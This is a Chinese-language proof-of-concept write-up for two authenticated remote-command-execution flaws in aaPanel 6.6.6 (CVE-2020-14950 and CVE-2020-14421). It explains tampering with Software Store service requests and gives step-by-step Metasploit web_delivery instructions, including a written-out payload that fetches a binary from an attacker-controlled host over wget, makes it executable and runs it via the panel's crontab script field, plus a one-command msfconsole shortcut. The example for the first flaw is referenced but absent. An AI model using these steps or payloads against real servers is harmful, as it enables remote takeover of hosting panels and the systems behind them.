aapanel

aapanel 6.6.6 - CVE-2020-14950

• 描述：允许远程认证用户通过软件商店（Software Store）的设置菜单执行任意命令。
• 受影响版本：全部 <= 6.6.6

信息

为了制作这个 PoC，我仅使用 docker-compose 安装了该软件。

• 漏洞类型：远程命令执行（认证后 RCE）

PoC

前往软件商店，点击设置字段中的任意一行，在点击“启动/停止/重启”时拦截请求，然后修改/编辑该请求以执行您想要的操作。以下是一个使用 curl 的示例：

aapanel 6.6.6 - CVE-2020-14421

• 描述：允许攻击者远程运行任意命令
• 受影响版本：全部 <= 6.6.6

信息

为了制作这个 PoC，我安装了全新的 Ubuntu 20.04，然后安装了 wget 和 sudo，并执行了此脚本 wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh

• 漏洞类型：远程命令执行（认证后 RCE）

PoC

首先，设置 web_delivery 选项，这将创建一个载荷（payload）和一个监听器。

现在运行它

这将生成以下载荷：

wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown

然后将其复制/粘贴到 aapanel 中 crontab 菜单的 脚本内容（script content）中。

现在只需执行您的 crontab，然后等待您的会话。

快速利用

只需运行 msfconsole -r aapanel.rc，将载荷复制/粘贴到脚本内容（script content）部分，然后尽情享受您的会话。